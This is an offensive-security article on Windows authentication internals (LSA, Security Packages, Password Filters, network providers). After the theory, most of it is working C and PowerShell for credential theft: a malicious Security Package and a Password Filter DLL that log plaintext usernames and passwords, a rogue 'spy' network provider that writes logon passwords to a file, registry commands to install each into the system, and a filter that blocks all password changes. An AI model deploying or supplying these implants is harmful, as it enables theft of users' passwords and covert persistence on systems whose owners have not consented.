
Windows features a complex authentication system with multiple components. Cornerstones of this system are LSA (Local Security Authority) and SSP.
LSA is a huge subsystem that authenticates users, creates them, changes passwords, and performs other similar operations. Also, LSA stores information about all security aspects of the local computer (e.g. number of unsuccessful password entries required to lock an account). LSA can even be used to assign privileges to user accounts; the Privileger tool has been developed for this purpose.
SSP isn’t as simple as it seems, too. Not only does it help developers to encrypt data, ensure the integrity of transmitted information, and build context, but can also expand standard authentication. To be specific, SSP/AP, not just SSP is used for this purpose (to be addressed in more detail later).
Security components
Security components are bricks forming the immense authentication system in Windows. Important: theory provided in this article applies to future articles as well. Let’s start with a simple password interception and then gradually complicate this task.
Security Package
Security Package (SP) is a software implementation of a certain security protocol. Security Packages are stored in SSP (and/or SSP/AP) as DLL files. For instance, Kerberos and NTLM are stored in the SSP Secur32.
. Yes, in Secur32.
since this SSP delegates security functions to the required SP. For instance, if a service requires Kerberos authentication, then Secur32.
will call Kerberos.
.

SSP/AP (or just AP)
AP is an Authentication Package. It’s a DLL that contains one or more SPs. The main difference from the standard SSP is that the SSP/AP can act as an Authentication Package (AP). In other words, it can verify the authenticity of the entered data when the user logs in to the system.
However, SSP/AP also performs all standard SSP functions (i.e. build context, encrypt data, etc.). To enable SSP/AP to function both as an Authentication Package and a regular SSP for client/server processes, it’s loaded to the lsass.
process space at system startup.
If you only need to use client-server functions of a specific SSP/AP, it can be loaded into a client-server app. This can be done, for instance, using the dynamic LoadLibrary(
function or the static pragma
linking method (i.e. without loading it to the lsass.
process). In this case, functions of the Authentication Package won’t be used.

Security Providers
Never confuse Security Providers with Security Package. These are different things.
Security Providers are implemented as DLLs and are responsible for so-called secondary authentication: after authentication on one PC, the user can be authenticated on another PC (e.g. a Linux server). This enables the user to gain access to resources of a UNIX server from a Windows PC without additional authentication. The scheme is called Single Sign-On.

Credential Providers
Credential Providers are COM objects that provide passwordless access to the system. They are also implemented in the form of dynamic DLLs. For instance, FaceCredentialProvider.
is used for facial recognition; SmartcardCredentialProvider.
, for smart cards.
A third-party Credential Provider can be used as well. All available Credential Providers are listed in the following registry key:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers
Each key in this registry path identifies a specific Credential Provider class based on its CLSID
. The respective CLSID
must be registered in HKCR\
since it’s the COM
class. You can use the CPlist.exe tool to review all available providers.
Password Filters
Using Password Filters, you can extend the standard password policy on specific hosts. When a password reset request is made, LSA calls all Notification Packages to check whether the new password complies with filters implemented within each Notification Package. Furthermore, each Notification Package is called twice:
- To validate the new password. If one of the Notification Packages reports that the password isn’t suitable, the system will request the user to create a different password; and
- To notify the user that the password has been reset. This call will be made only when all Notification Packages have confirmed that the password is suitable and complies with their filters.
Password filter can be considered a specific instance of Notification Package.

How users log in to the system
Prior to intercepting a user password, you have to comprehend the user login process. Such aspects as Winlogon initialization, desktop creation, and GINA are beyond the scope of this article. All you have to know is that the Winlogon.
process enables interactive login. So, the system starts, and the user places hands on the keyboard.
To start authentication, a SAS key combination is sent (by default, it’s Ctrl + Alt + Del). Winlogon receives this message and the login process begins;
Since modern systems have many passwordless login options (e.g. fingerprint or facial recognition), Winlogon addresses Credential Providers to receive information about the authenticating user;
Regardless of the response from the Credential Provider, Winlogon creates the
LogonUI.
process. It provides an interface for password entry and exits when this action is completed.exe LogonUI.
can be restarted an infinite number of times if an error occurs. This is how the system protects itself against potential crash ofexe Winlogon.
;exe Once the user has entered the login and password (or the Credential Provider has returned them), Winlogon creates a unique login SID for that user. This SID is assigned to the entire current desktop instance (i.e. keyboard, mouse, and screen). Then the
lsass.
process is called to authenticate the user;exe This call can be divided into several stages. First,
Winlogon.
registers itself as an authentication process by calling theexe LsaRegisterLogonProcess(
function. If this call is successful, the process receives a handle to LSA for subsequent interaction. This interaction will be performed via ALPC (Advanced Local Procedure Calls);) -
Next,
Winlogon.
receives a handle to the MSV1_0 authentication package (or to Kerberos in the case of AD; but this article describes only the situation with MSV1_0) by callingexe LsaLookupAuthenticationPackage(
:) NTSTATUS LsaLookupAuthenticationPackage([in] HANDLE LsaHandle,[in] PLSA_STRING PackageName,[out] PULONG AuthenticationPackage);This function doesn’t require anything special.
LsaHandle
is the handle received whenLsaRegisterLogonProcess(
is called;) PackageName
is the name of the Authentication Package (e.g.MSV1_0_PACKAGE_NAME
); andAuthenticationPackage
is the received identifier of the Authentication Package to be used by Winlogon; Once Winlogon has received the Authentication Package identifier, Winlogon passes the information to it in a call to the
LsaLogonUser(
function. This information contains SID from step 4 and information about the authenticating user. SID transmission helps to prevent unauthorized access to the desktop (e.g. if you enter the password of one user and attempt to gain access to the desktop of another user);) Inside MSV1_0, the
LsaApLogonUserEx(
function is called, and the username and password are authenticated in it using the SAM database. If authentication is successful, a logon session is created:) LsaCreateLogonSession(
is called and a LogonID (LUID) generated by the Authentication Package is assigned to it. After that, MSV1_0 adds special information to the session by calling) LsaAddCredential(
. Usually, this is the username, domain name, and checksums of the password’s LM/NT-hash. This information can be required later if the user attempts to access remote nodes;) Then Winlogon waits for a response from LSA regarding the entered credentials;
After successful user authentication, a user shell is initialized. User shell is a set of processes launched on behalf of a specific account;
-
Too bad, you can’t just create a user shell (e.g. using the standard
CreateProcess(
). First,) lsass.
calls theexe NtCreateToken(
function to create an access token. This token contains information about the user, and) Winlogon.
uses it to create a process on behalf of the authenticated user;exe You can ask: “Can I generate tokens myself?” Yes and no. Successful creation of a token requires the
SeCreateTokenPrivilege
privilege, which onlylsass.
has. If you have this privilege, then you can do whatever you want. Absolutely any token – any groups and privileges regardless of the global settings and configurations – can be created. For instance, once I gained rights to execute code on behalf of the Domain Admins group;exe Code execution on behalf of a group And I specified: SID = 0.
Null SID In addition,
Winlogon.
collects information about the user environment. This information is very diverse. I will focus on the initial process also known as system shell: a process that spawns other processes in the system on behalf of the user and applies all the configured user profile settings. This information is stored inexe HKLM\
. By default, theSOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon Userinit
key specifies theuserinit.
process that restores user profile settings. And the system shell (usuallyexe explorer.
) is specified in theexe shell
key;Userinit
is called; the program starts; the environment is initialized; and thenuserinit.
accesses theexe shell
key and generates a system shell. After that, theUserinit
process ends. Actually, this is the reason why you don’t see the parent process ofexplorer.
:exe userinit.
has already closed; andexe The user logs into the system and gains access to their desktop.

LSA initialization
LSA plays a key role in user authentication. But how will it initialize your malicious SP, AP, and NP?
When the device starts, LSA automatically loads all registered SPs implemented as DLLs into its address space. The path to all registered DLLs is as follows:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages

If this key is empty, then the default value is used:
kerberos"\0"msv1_0"\0"schannel"\0"wdigest"\0"tspkg"\0"pku2u"\0
All these DLLs are specified without the full path. Microsoft recommends to place SPs to the folder %systemroot%/
. Next, the SpLsaModeInitialize(
function is called for each SP, and LSA receives a special table, SECPKG_FUNCTION_TABLE
, containing pointers to functions that implement this security package. It looks as follows:
SECPKG_FUNCTION_TABLE SecurityPackageFunctionTable[] ={ { NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, SpInitialize, SpShutDown, SpGetInfo, SpAcceptCredentials, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL }};NTSTATUS NTAPI SpLsaModeInitialize(ULONG LsaVersion, PULONG PackageVersion, PSECPKG_FUNCTION_TABLE * ppTables, PULONG pcTables){ *PackageVersion = SECPKG_INTERFACE_VERSION; *ppTables = SecurityPackageFunctionTable; *pcTables = 1; return 0;}
If SpLsaModeInitialize(
has successfully returned the table, then LSA calls SpInitialize(
and passes the LSA_SECPKG_FUNCTION_TABLE
structure to it. This structure contains pointers to functions provided by LSA inside SP. For instance, the CreateToken(
function can be used to create a token (not an access token, but a token generated during context building in client-server apps).
SpGetInfo(
is called third so that LSA gets information about the package (e.g. its name, description, and version). This information will be displayed when the EnumerateSecurityPackages(
function is called:
NTSTATUS NTAPI SpGetInfo(PSecPkgInfoW PackageInfo){ PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION | SECPKG_FLAG_LOGON; PackageInfo->Name = (SEC_WCHAR*)L"MishaSSP"; PackageInfo->Comment = (SEC_WCHAR*)L"SSP with a wide Russian soul"; PackageInfo->wRPCID = SECPKG_ID_NONE; PackageInfo->cbMaxToken = 0; PackageInfo->wVersion = 1337; return 0;}
Then LSA loads all available Authentication Packages (APs). Their list is retrieved from the following registry key:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Authentication Packages

In each of these packages, the LsaApInitializePackage(
function is called. Using this function, LSA will pass the LSA_DISPATCH_TABLE containing all LSA functions that the AP can call. The AP, in turn, must specify the last parameter of the function by providing its name. LSA uses this name to determine which AP the program wants to access by calling LsaLookupAuthenticationPackage(
.
LSA_DISPATCH_TABLE DispatchTable;NTSTATUS LsaApInitializePackage(_In_ ULONG AuthenticationPackageId, _In_ PLSA_DISPATCH_TABLE LsaDispatchTable, _In_opt_ PLSA_STRING Database, _In_opt_ PLSA_STRING Confidentiality, _Out_ PLSA_STRING* AuthenticationPackageName){ // Save addresses of functions DispatchTable.CreateLogonSession = LsaDispatchTable->CreateLogonSession; DispatchTable.DeleteLogonSession = LsaDispatchTable->DeleteLogonSession; DispatchTable.AddCredential = LsaDispatchTable->AddCredential; DispatchTable.GetCredentials = LsaDispatchTable->GetCredentials; DispatchTable.DeleteCredential = LsaDispatchTable->DeleteCredential; DispatchTable.AllocateLsaHeap = LsaDispatchTable->AllocateLsaHeap; DispatchTable.FreeLsaHeap = LsaDispatchTable->FreeLsaHeap; DispatchTable.AllocateClientBuffer = LsaDispatchTable->AllocateClientBuffer; DispatchTable.FreeClientBuffer = LsaDispatchTable->FreeClientBuffer; DispatchTable.CopyToClientBuffer = LsaDispatchTable->CopyToClientBuffer; DispatchTable.CopyFromClientBuffer = LsaDispatchTable->CopyFromClientBuffer; // Return the name of your AP (*AuthenticationPackageName) = (LSA_STRING*)LsaDispatchTable->AllocateLsaHeap(sizeof(LSA_STRING)); if (NULL != (*AuthenticationPackageName)) { (*AuthenticationPackageName) = (LSA_STRING*) LsaDispatchTable->AllocateLsaHeap(sizeof(LSA_STRING)); (*AuthenticationPackageName)->Buffer = (char*) LsaDispatchTable->AllocateLsaHeap((ULONG)strlen ("myssp") + 1); if (NULL != (*AuthenticationPackageName)->Buffer) { (*AuthenticationPackageName)->Length = strlen("myssp"); (*AuthenticationPackageName)->MaximumLength = strlen("myssp") + 1; strcpy( (*AuthenticationPackageName)->Buffer, "myssp"); return 0x00000000L; // STATUS_SUCCESS } return 0xC0000002; // STATUS_NOT_IMPLEMENTED }}
Exploitation
Now that you have mastered the theory, you can start abusing the above-described elements of the Windows security system. Let’s begin with a classical technique that is present even in mimikatz. This is a standard SP injection performed to intercept credentials.
How to debug?
Many of the functions that you are going to use return either NTSTATUS
or SECURITY_STATUS
. In the first case, you can use the LsaNtStatusToWinError(
function to understand what is broken:
ULONG LsaNtStatusToWinError( [in] NTSTATUS Status);
After that, you examine the ULONG
value and compare it with Win32 error codes.
In the case of SECURITY_STATUS
, the situation is slightly more complicated. It’s unclear how to interpret its initial value. Imagine, for instance, that the AddSecurityPackage(
function in your code fails every time with the error -2146893051
. To understand what this error means, you have to convert it to Hex: 80090305
. Next, you add 0x
to its beginning and the L
character to its end and then search for it in sspi.h.

Password interception through Security Package injection
Requirements
To perform its functions correctly, your SP must meet the following requirements:
- Be implemented as a DLL;
- Support the functions
SpLsaModeInitialize(
,) SpGetInfo(
,) SpInitialize(
, and) SpAcceptCredentials(
; and) - Have the same architecture as the target system: x64 for x64 and x86 for x86.
Adding to the system
The first option is the simplest one. Use the AddSecurityPackage(
function: it enables you to load your SP into the system with just one click:
SECURITY_STATUS SEC_ENTRY AddSecurityPackageA( [in] LPSTR pszPackageName, [in] PSECURITY_PACKAGE_OPTIONS pOptions);
The example below shows how it works:
#define WIN32_NO_STATUS#define SECURITY_WIN32#include <windows.h>#include <sspi.h>#include <NTSecAPI.h>#include <ntsecpkg.h>#pragma comment(lib, "Secur32.lib")int main(){ char packagePath[] = "C:\\Windows\\SP.dll"; SECURITY_PACKAGE_OPTIONS spo = {}; SECURITY_STATUS ss = AddSecurityPackageA(packagePath, &spo); if (ss != SEC_E_OK) { if (ss == SEC_E_SECPKG_NOT_FOUND) { std::wcout << L"[?] SEC_E_SECPKG_NOT_FOUND received! Check architecture. U should load x86 DLL into x86 system. x64 DLL into x64 systems" << std::endl; return 1; } else { std::wcout << L"[-] AddSecurityPackage failed: " << ss << std::endl; return 1; } } else { std::wcout << L"[+] AddSecurityPackage Success" << std::endl; } return 0;}
There is also another option, but it requires a system reboot. First, you place your SP to the C:\
folder and then change the respective value in the registry:
reg add hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" /d "kerberos"\0"msv1_0"\0"schannel"\0"wdigest"\0"tspkg"\0"pku2u"\0"SP" /t REG_MULTI_SZ
After the reboot, LSA will read this value and load your DLL.
Verification
To check whether your SP has been successfully loaded into the address space of the lsass.
process, use the EnumerateSecurityPackages(
function:
void EnumSecPkg() { SECURITY_STATUS status; ULONG pcPackages = 0; SecPkgInfo* secPkgInfo = NULL; status = EnumerateSecurityPackages(&pcPackages, &secPkgInfo); if (status != SEC_E_OK) { wprintf(L"[!] EnumerateSecurityPackages() failed with error: %i\n", status); } std::wcout << L"NAME" << std::setw(50) << L"COMMENT" << std::setw(40) << L"VERSION" << std::endl; for (ULONG i = 0; i < pcPackages; i++) { std::wcout << secPkgInfo[i].Name << std::setw(75 - wcslen(secPkgInfo[i].Name)) << secPkgInfo[i].Comment << std::setw(20 - sizeof(secPkgInfo[i].wVersion)) << secPkgInfo[i].wVersion << std::endl; }}

Password interception
In addition to the standard initialization functions (SpLsaModeInitialize(
, SpGetInfo(
, and SpInitialize(
), you have to add the SpAcceptCredentials(
function to your SP. LSA will call it after the user has entered the correct username and password. The code of your malicious SP becomes as follows:
#define WIN32_NO_STATUS#define SECURITY_WIN32#include <windows.h>#include <sspi.h>#include <NTSecAPI.h>#include <ntsecpkg.h>#include <iostream>#include <string>#pragma comment(lib, "Secur32.lib")LPWSTR logFileName = (LPWSTR)L"C:\\Temp1\\_Mz_41dbabfaastex";HANDLE hLogFile = NULL;void SpCreateLogFile() { hLogFile = CreateFile(logFileName, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);}void SpMakeLog(LPWSTR spFuncName, LPWSTR funcName, DWORD err) { if (hLogFile == NULL) { SpCreateLogFile(); } std::wstring wspFuncName = spFuncName; std::wstring wfuncName = funcName; std::wstring wLog; wLog.append(L"\n").append(wspFuncName).append(L" | ").append(funcName).append(L" | ").append(std::to_wstring(err).append(L"\n")); DWORD dwNumberWritten = 0; WriteFile(hLogFile, wLog.c_str(), wLog.length() * sizeof(wchar_t), &dwNumberWritten, NULL);}NTSTATUS NTAPI SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable){ SpMakeLog((LPWSTR)L"SpInitialize", (LPWSTR)L"LsaInvoke", 0); return 0;}NTSTATUS NTAPI SpShutDown(void){ SpMakeLog((LPWSTR)L"SpShutDown", (LPWSTR)L"LsaInvoke", 0); CloseHandle(hLogFile); return 0;}NTSTATUS NTAPI SpGetInfo(PSecPkgInfoW PackageInfo){ SpMakeLog((LPWSTR)L"SpGetInfo", (LPWSTR)L"LsaInvoke", 0); PackageInfo->fCapabilities = SECPKG_FLAG_NEGOTIABLE | SECPKG_FLAG_MUTUAL_AUTH | SECPKG_FLAG_LOGON | SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_RESTRICTED_TOKENS | SECPKG_FLAG_RESTRICTED_TOKENS | 0x00000002; // SECPKG_CALLFLAGS_AUTHCAPABLE; PackageInfo->Name = (SEC_WCHAR*)L"myssp"; PackageInfo->Comment = (SEC_WCHAR*)L"Custom security package from Russia with love"; PackageInfo->wRPCID = SECPKG_ID_NONE; PackageInfo->cbMaxToken = 0; PackageInfo->wVersion = 1; return 0;}NTSTATUS NTAPI SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials){ SpMakeLog((LPWSTR)L"SpAcceptCredentials", (LPWSTR)L"LsaInvoke", 0); DWORD dwWritten = 0; WriteFile(hLogFile, AccountName->Buffer, AccountName->Length, &dwWritten, NULL); WriteFile(hLogFile, L"@", 2, &dwWritten, NULL); WriteFile(hLogFile, PrimaryCredentials->DomainName.Buffer, PrimaryCredentials->DomainName.Length, &dwWritten, NULL); WriteFile(hLogFile, L":", 2, &dwWritten, NULL); WriteFile(hLogFile, PrimaryCredentials->Password.Buffer, PrimaryCredentials->Password.Length, &dwWritten, NULL); return 0;}SECPKG_FUNCTION_TABLE SecurityPackageFunctionTable[] ={ { NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, SpInitialize, SpShutDown, SpGetInfo, SpAcceptCredentials, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL }};NTSTATUS NTAPI SpLsaModeInitialize(ULONG LsaVersion, PULONG PackageVersion, PSECPKG_FUNCTION_TABLE * ppTables, PULONG pcTables){ SpMakeLog((LPWSTR)L"SpLsaModeInitialize", (LPWSTR)L"LsaInvoke", 0); *PackageVersion = SECPKG_INTERFACE_VERSION; *ppTables = SecurityPackageFunctionTable; *pcTables = 1; return 0;}
In fact, the only newly-added element is logging of credentials received in the SpAcceptCredentials
function. Let’s inject the SP into the system in any convenient way and try to track user logon.


Password interception through Password Filter injection
Requirements
The following requirements have to be met:
- Your NP must be implemented as a
DLL
library; - Your NP must implement NP functions;
- Your NP must have the same architecture as the target system: x64 for x64 and x86 for x86; and
- The functions must be declared as
extern
and must have the"C" __declspec( dllexport) __stdcall
calling convention.
Adding to the system
LSA retrieves the list of all Notification Packages from the following registry key:
reg query "hklm\system\currentcontrolset\control\lsa" /v "notification packages"
By default, it includes only scecli
. To add your NP, you have to place it into the C:\
folder, and then add the following value to this registry key: name of your DLL without the .
extension:
reg add "hklm\system\currentcontrolset\control\lsa" /v "notification packages" /d scecli\0passfil /t reg_multi_sz
Password interception
In the simplest case, the code looks as follows:
#include <windows.h>#include <ntsecapi.h>#include <string>#include <iostream>using namespace std;LPWSTR logFileName = (LPWSTR)L"C:\\Temp1\\_Mz_41dbabfaastex";HANDLE hLogFile = NULL;void SpCreateLogFile() { hLogFile = CreateFile(logFileName, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);}void SpMakeLog(LPWSTR spFuncName, LPWSTR funcName, DWORD err) { if (hLogFile == NULL) { SpCreateLogFile(); } std::wstring wspFuncName = spFuncName; std::wstring wfuncName = funcName; std::wstring wLog; wLog.append(L"\n").append(wspFuncName).append(L" | ").append(funcName).append(L" | ").append(std::to_wstring(err).append(L"\n")); DWORD dwNumberWritten = 0; WriteFile(hLogFile, wLog.c_str(), wLog.length() * sizeof(wchar_t), &dwNumberWritten, NULL);}extern "C" __declspec(dllexport) BOOLEAN __stdcall InitializeChangeNotify(void) // Инициализация NP{ SpMakeLog((LPWSTR)L"InitializeChangeNotify", (LPWSTR)L"LsaInvoke", 0); return TRUE;}// Check new passwordextern "C" __declspec(dllexport) BOOLEAN __stdcall PasswordFilter( PUNICODE_STRING AccountName, PUNICODE_STRING FullName, PUNICODE_STRING Password,BOOLEAN SetOperation){ SpMakeLog((LPWSTR)L"PasswordFilter", (LPWSTR)L"LsaInvoke", 0); SpMakeLog((LPWSTR)AccountName->Buffer, (LPWSTR)Password->Buffer, 0); return TRUE;}// Successful password reset notificationextern "C" __declspec(dllexport) NTSTATUS __stdcall PasswordChangeNotify( PUNICODE_STRING UserName, ULONG RelativeId, PUNICODE_STRING NewPassword){ SpMakeLog((LPWSTR)L"PasswordChangeNotify", (LPWSTR)L"LsaInvoke", 0); SpMakeLog((LPWSTR)UserName->Buffer, (LPWSTR)NewPassword->Buffer, 0); return 0;}
The logging functions have been copied from the SP code. Let’s examine the new ones:
-
InitializeChangeNotify(
– LSA calls this function when an NP is successfully loaded into the address space of the LSA process;) -
PasswordFilter(
– LSA calls it when the user decides to reset the password. It contains the new password in the plain text for validation; and) -
PasswordChangeNotify(
– LSA calls it when all NPs have reported that the new password complies with their filters.)

Prohibiting users from changing their passwords
As you remember, the primary purpose of Password Filter is to ensure that the new password complies with all the criteria. You can prohibit any user of the system from changing their password if you modify the PasswordFilter(
function as shown below:
extern "C" __declspec(dllexport) BOOLEAN __stdcall PasswordFilter( PUNICODE_STRING AccountName, PUNICODE_STRING FullName, PUNICODE_STRING Password,BOOLEAN SetOperation){ return FALSE; // Password doesn't comply with the criteria}
As a result, the new password simply won’t pass validation, and LSA won’t allow the user to change it.

Password interception with Credential Manager
Theory
Windows Credential Manager enables you to save credentials (e.g. for some sites). The point is that you can implement your own credential manager to intercept passwords. This technique is based on a special component called MPR (Multiple Provider Router). It provides interaction between the operating system and various providers, including Credential Manager.
When MPR starts, it checks the registry for installed providers. The providers are listed in the registry in a certain order, and this is very important since they are loaded strictly in this order, one by one. All providers listed in the registry are loaded into MPR.
When a user logs in, Winlogon calls the respective function from the MPR, which, in turn, calls each Credential Manager notifying it that the user is logging in or changing the account password.
Unfortunately, this technique is considered obsolete nowadays. Therefore, I cannot guarantee its success on every Windows PC.
Adding to the system
MPR retrieves all available providers from the following registry key:
HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order
You can add your own provider in several ways. The easiest one is to use a script. Important: in this case, the name of your DLL must be spy.
:
$path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER$UpdatedValue = $Path.PROVIDERORDER + ",spy"Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValueNew-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\spyNew-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\spy\NetworkProviderNew-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\spy\NetworkProvider -Name "Class" -Value 2New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\spy\NetworkProvider -Name "Name" -Value spyNew-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\spy\NetworkProvider -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\spy.dll"
The same operations can be performed manually:
- Copy your DLL (
spy.
) to thedll C:\
folder.Windows\ System32 -
Add the line
spy
to the end ofProviderOrder
in the following key:HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order -
Create a key:
HKLM\SYSTEM\CurrentControlSet\Services\spy\NetworkProviderAnd specify the following data in it:
"Class" = [REG_DWORD]2"ProviderPath" = [REG_EXPAND_SZ]"%SystemRoot%\System32\spy.dll""Name" = [REG_SZ]"spy"
After that, you can check the settings as follows:
$providers = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name ProviderOrder$arrExp=@()foreach ($prov in ($providers.ProviderOrder -split ',')){ $row = New-Object psobject $row | Add-Member -Name "Name" -MemberType NoteProperty -Value $prov $dllPath = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\$prov\NetworkProvider" -Name ProviderPath).ProviderPath $row | Add-Member -Name "DllPath" -MemberType NoteProperty -Value $dllPath $signature = Get-AuthenticodeSignature -FilePath $dllPath $certSubject = "" if ($signature.Status.value__ -eq 0) #valid { $certSubject = $signature.SignerCertificate.Subject } $row | Add-Member -Name "Signer" -MemberType NoteProperty -Value $certSubject $row | Add-Member -Name "Version" -MemberType NoteProperty -Value (Get-Command $dllPath).FileVersionInfo.FileVersion $row | Add-Member -Name "Description" -MemberType NoteProperty -Value (Get-Command $dllPath).FileVersionInfo.FileDescription $arrExp += $row}if (Test-Path Variable:PSise){ $arrExp | Out-GridView}else{ $arrExp | Format-List}

Password interception
To intercept the password, use the NPLogonNotify(
function. MPR calls this function to notify Credential Manager of a successful logon. After receiving such a notification, Credential Manager can return a logon script (i.e. some script that has to be executed).
The function prototype is as follows:
DWORD NPLogonNotify( [in] PLUID lpLogonId, [in] LPCWSTR lpAuthentInfoType, [in] LPVOID lpAuthentInfo, [in] LPCWSTR lpPreviousAuthentInfoType, [in] LPVOID lpPreviousAuthentInfo, [in] LPWSTR lpStationName, [in] LPVOID StationHandle, [out] LPWSTR *lpLogonScript);
Note the second parameter (lpAuthentInfoType
). Depending on the input type, it takes different values:
MSV1_0:Interactive
Kerberos:Interactive
Also, depending on the logon type, the third parameter (lpAuthentInfo
) contains different structures. In the case of MSV1_0, it will contain the following values:
typedef struct _MSV1_0_INTERACTIVE_LOGON { MSV1_0_LOGON_SUBMIT_TYPE MessageType; UNICODE_STRING LogonDomainName; UNICODE_STRING UserName; UNICODE_STRING Password;} MSV1_0_INTERACTIVE_LOGON, *PMSV1_0_INTERACTIVE_LOGON;
While in the case of Kerberos, the following ones:
typedef struct _KERB_INTERACTIVE_LOGON { KERB_LOGON_SUBMIT_TYPE MessageType; UNICODE_STRING LogonDomainName; UNICODE_STRING UserName; UNICODE_STRING Password;} KERB_INTERACTIVE_LOGON, *PKERB_INTERACTIVE_LOGON;
Accordingly, if you intend to intercept MSV1_0, use this code:
#include <Windows.h>#define WNNC_SPEC_VERSION 0x00000001#define WNNC_SPEC_VERSION51 0x00050001#define WNNC_NET_TYPE 0x00000002#define WNNC_START 0x0000000C#define WNNC_WAIT_FOR_START 0x00000001typedef struct _UNICODE_STRING{ USHORT Length; USHORT MaximumLength; PWSTR Buffer;} UNICODE_STRING, * PUNICODE_STRING;typedef enum _MSV1_0_LOGON_SUBMIT_TYPE{ MsV1_0InteractiveLogon = 2, MsV1_0Lm20Logon, MsV1_0NetworkLogon, MsV1_0SubAuthLogon, MsV1_0WorkstationUnlockLogon = 7, MsV1_0S4ULogon = 12, MsV1_0VirtualLogon = 82, MsV1_0NoElevationLogon = 83, MsV1_0LuidLogon = 84,} MSV1_0_LOGON_SUBMIT_TYPE, * PMSV1_0_LOGON_SUBMIT_TYPE;typedef struct _MSV1_0_INTERACTIVE_LOGON{ MSV1_0_LOGON_SUBMIT_TYPE MessageType; UNICODE_STRING LogonDomainName; UNICODE_STRING UserName; UNICODE_STRING Password;} MSV1_0_INTERACTIVE_LOGON, * PMSV1_0_INTERACTIVE_LOGON;void SavePassword(PUNICODE_STRING username, PUNICODE_STRING password){ HANDLE hFile; DWORD dwWritten; hFile = CreateFile(TEXT("C:\\spy.txt"), GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile != INVALID_HANDLE_VALUE) { SetFilePointer(hFile, 0, NULL, FILE_END); WriteFile(hFile, username->Buffer, username->Length, &dwWritten, 0); WriteFile(hFile, L" -> ", 8, &dwWritten, 0); WriteFile(hFile, password->Buffer, password->Length, &dwWritten, 0); WriteFile(hFile, L"\r\n", 4, &dwWritten, 0); CloseHandle(hFile); }}__declspec(dllexport) DWORD APIENTRY NPGetCaps( DWORD nIndex){ switch (nIndex) { case WNNC_SPEC_VERSION: return WNNC_SPEC_VERSION51; case WNNC_NET_TYPE: return WNNC_CRED_MANAGER; case WNNC_START: return WNNC_WAIT_FOR_START; default: return 0; }}__declspec(dllexport) DWORD APIENTRY NPLogonNotify( PLUID lpLogonId, LPCWSTR lpAuthInfoType, LPVOID lpAuthInfo, LPCWSTR lpPrevAuthInfoType, LPVOID lpPrevAuthInfo, LPWSTR lpStationName, LPVOID StationHandle, LPWSTR* lpLogonScript){ SavePassword( &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->UserName), &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->Password) ); lpLogonScript = NULL; return WN_SUCCESS;}
After that, you log out of the system and log into it again. The password will be saved to a file.

Conclusions
As you can see, it’s not a big deal to intercept a user password in Windows. Authentication involves too many components, which poses a major security risk. But you can use Security Providers for other purposes as well. In the next article, you will write an AP that literally creates a second password for the user – a kind of pam_backdoor for Windows – and learn how to force MSV1_0 to send you credentials not only from interactive, but also from noninteractive authentications.